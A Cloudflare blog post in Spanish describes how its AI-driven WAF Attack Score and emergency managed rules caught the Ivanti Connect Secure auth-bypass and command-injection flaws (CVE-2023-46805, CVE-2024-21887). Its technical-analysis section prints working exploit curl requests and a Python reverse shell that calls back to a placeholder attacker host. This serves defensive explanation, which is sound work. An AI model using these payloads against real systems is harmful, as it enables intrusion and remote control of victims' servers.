Subscribe to receive notifications of new posts:

Cómo el WAF con IA de Cloudflare detectó una vulnerabilidad crítica de día cero en Ivanti Connect Secure

01/23/2024

6 min read
How Cloudflare’s AI WAF proactively detected Ivanti Connect Secure critical zero-day vulnerability

La mayoría de los proveedores de WAF dependen de métodos reactivos, y responden a las vulnerabilidades una vez se han identificado y explotado. Sin embargo, creemos en la capacidad de abordar de forma proactiva los riesgos potenciales y utilizar la IA para lograrlo. Hoy analizamos un ejemplo reciente de una vulnerabilidad crítica (CVE-2023-46805 y CVE-2024-21887) y cómo nuestro sistema Attack Score impulsado por IA y las reglas de emergencia en el WAF contrarrestaron esta amenaza.

Amenaza: CVE-2023-46805 y CVE-2024-21887

La plataforma AttackerKB identificó y analizó recientemente una vulnerabilidad de omisión de autenticación (CVE-2023-46805) e inyección de comandos (CVE-2024-21887) que afectaba a los productos Ivanti. Esta vulnerabilidad plantea riesgos importantes que podrían llevar al acceso y control no autorizados de los sistemas afectados. En la siguiente sección explicaremos cómo se puede explotar esta vulnerabilidad.

Análisis técnico

Tal y como se analiza en la plataforma AttackerKB, el atacante puede enviar una solicitud malintencionada al sistema de destino mediante un comando como este:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

Este comando tiene como objetivo un punto final (/license/keys-status/) que normalmente está protegido mediante autenticación. Sin embargo, el atacante puede eludir la autenticación manipulando la URL para incluir /api/v1/totp/user-backup-code/../../license/keys-status/. Esta técnica se conoce como Directory Traversal.

La parte del comando con codificación URL se decodifica en un reverse shell en Python, que se ve así:

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

El reverse shell en Python es una forma que permite al atacante obtener control sobre el sistema objetivo.

La vulnerabilidad existe en la forma en que el sistema procesa el parámetro node_name. Si un atacante puede controlar el valor de node_name, puede inyectar comandos en el sistema.

El parámetro "node_name" es un componente del punto final /api/v1/license/keys-status/path:node_name. Este punto final es donde ocurre principalmente el problema.

El atacante puede enviar una solicitud GET a la ruta URI /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; donde CMD es cualquier comando que deseen ejecutar. El uso de un punto y coma les permite especificar este comando en la solicitud. Para garantizar que el sistema procese correctamente el comando, debe tener codificación URL.

Se identificó otra vulnerabilidad de inyección de código, como se detalla en la publicación del blog de AttackerKB. Esta vez, se trataba de una inyección de comando autenticado que se encuentra en una parte diferente del sistema.

Aquí se puede emplear la misma carga malintencionada del reverse shell de Python utilizada en la primera inyección de comando, creando una estructura JSON para activar la vulnerabilidad. Dado que la carga malintencionada está en JSON, no es necesario que tenga codificación URL:

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

Aunque el punto final /api/v1/system/maintenance/archiving/cloud-server-test-connection requiere autenticación, un atacante puede evitarlo encadenándolo con la vulnerabilidad Directory Traversal mencionada anteriormente. Pueden crear una ruta URI no autenticada /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection para llegar a este punto final y explotar la vulnerabilidad.

Para ejecutar un comando del sistema operativo no autenticado, un atacante usaría una solicitud curl como esta:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

Protección proactiva de Cloudflare

Cloudflare WAF cuenta con el respaldo de una capa adicional impulsada por IA llamada WAF Attack Score, cuyo objetivo es detectar desviaciones de ataques incluso antes de que se hagan públicos. Attack Score proporciona una puntuación para indicar si la solicitud es maliciosa o no. Se centra en tres categorías principales hasta ahora: XSS, SQLi y algunas variaciones de RCE (Command injection, ApacheLog4J, etc.). La puntuación oscila entre 1 y 99 y cuanto menor sea la puntuación, más peligrosa será la solicitud. En términos generales, cualquier solicitud con una puntuación inferior a 20 se considera maliciosa.

Echa un vistazo a los resultados del ejemplo de las vulnerabilidades anteriores, CVE-2023-46805 y CVE-2024-21887, en el panel de Cloudflare (Seguridad > Incidentes). Los resultados del análisis de Attack Score constan de tres puntuaciones individuales, cada una etiquetada para indicar su relevancia para una categoría de ataque específica. También hay una puntuación global, "WAF Attack Score", que evalúa el impacto combinado de estas tres puntuaciones. En algunos casos, la puntuación global se ve afectada por una de las subpuntuaciones si el ataque coincide con una categoría. A continuación, podemos ver que la subpuntuación dominante es la ejecución remota de código "WAF RCE Attack Score".

Screenshot from Security Events highlighting WAF Attack Score Results showing WAF attack Score of 9

De manera similar, para la solicitud de comando del sistema operativo no autenticado, recibimos una puntuación "WAF Attack Score: 19" del modelo de IA, que también se encuentra en la categoría de solicitud maliciosa. Vale la pena mencionar que las puntuaciones de ejemplo no son números fijos y pueden variar según la variación del ataque recibido.

La buena noticia es que los clientes suscritos a los planes Enterprise y Business que hayan habilitado WAF Attack Score, junto con una regla para bloquear puntuaciones bajas (por ejemplo, cf.waf.score le 20) o (cf.waf.score.class eq "attack") para Business, ya estaban protegidos de posibles vulnerabilidades que se han probado hasta ahora incluso antes de que se anunciara la vulnerabilidad.

Implementación de reglas de emergencia

En respuesta a esta vulnerabilidad crítica, Cloudflare implementó reglas de emergencia el 17 de enero de 2024, 24 horas después de que la prueba de concepto se hiciera pública. Estas reglas son parte de sus reglas administradas para el WAF, específicamente dirigidas a la amenaza planteada por CVE-2023-46805 y una vulnerabilidad adicional, CVE-2024-21887, también relacionada con los productos Ivanti. Se han creado las reglas, denominadas "Ivanti - Auth Bypass, Command injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887", para bloquear los intentos de explotar estas vulnerabilidades y proporcionar una capa adicional de seguridad a los usuarios de Cloudflare.

Desde que implementamos estas reglas, hemos registrado un alto nivel de actividad. En el momento de redactar este informe, la regla se había activado más de 180 000 veces.

Id. de regla Descripción Acción por defecto
Nueva regla administrada…34ab53c5 Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Bloquear
Regla administrada heredada
100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Bloquear

Implicaciones y prácticas recomendadas

La respuesta de Cloudflare a CVE-2023-46805 y CVE-2024-21887 destaca la importancia de contar con medidas de seguridad sólidas. Se recomienda a las organizaciones que utilizan los servicios de Cloudflare, en particular el WAF, que se aseguren de que sus sistemas estén actualizados con las últimas reglas y configuraciones para garantizar una protección óptima. También recomendamos a los clientes que implementen reglas con Attack Score para mejorar su postura de seguridad. Si deseas obtener más información sobre Attack Score, ponte en contacto con tu equipo de cuenta.

Conclusión

El enfoque proactivo de Cloudflare en materia de ciberseguridad con el uso de IA para identificar y detener ataques, como demuestra su respuesta a las vulnerabilidades CVE-2023-46805 y CVE-2024-21887, resalta cómo se pueden identificar las amenazas y los ataques antes de que se hagan públicos y se revelen las vulnerabilidades. La supervisión continua y la capacidad de responder rápidamente a las vulnerabilidades permiten a Cloudflare garantizar la seguridad de sus clientes en un panorama digital cada vez más complejo.

We protect entire corporate networks, help customers build Internet-scale applications efficiently, accelerate any website or Internet application, ward off DDoS attacks, keep hackers at bay, and can help you on your journey to Zero Trust.

Visit 1.1.1.1 from any device to get started with our free app that makes your Internet faster and safer.

To learn more about our mission to help build a better Internet, start here. If you're looking for a new career direction, check out our open positions.
Vulnerabilities (ES)WAF Rules (ES)WAF (ES)WAF Attack Score (ES)Zero Day Threats (ES)AI WAF (ES)Español

Follow on X

Himanshu Anand|@anand_himanshu
Radwa Radwan|@RadwaRadwan__
Cloudflare|@cloudflare

Related posts

March 14, 2024 12:30 PM

Mitigación de un ataque de canal lateral que emplea la longitud del token en nuestros productos de IA

El equipo de Workers AI y AI Gateway ha colaborado recientemente con investigadores en materia de seguridad de la Universidad Ben Gurion en relación a un informe presentado a través de nuestro programa Public Bug Bounty...

October 10, 2023 12:02 PM

Resultados de la vulnerabilidad HTTP/2 Zero-Day en ataques DDoS sin precedentes

El ataque “HTTP/2 Rapid Reset” aprovecha un punto débil en el protocolo HTTP/2 para generar enormes ataques DDoS hipervolumétricos. Cloudflare ha mitigado un aluvión de estos ataques en los últimos meses, incluso uno tres veces más grande que cualquier ataque anterior que hayamos observado...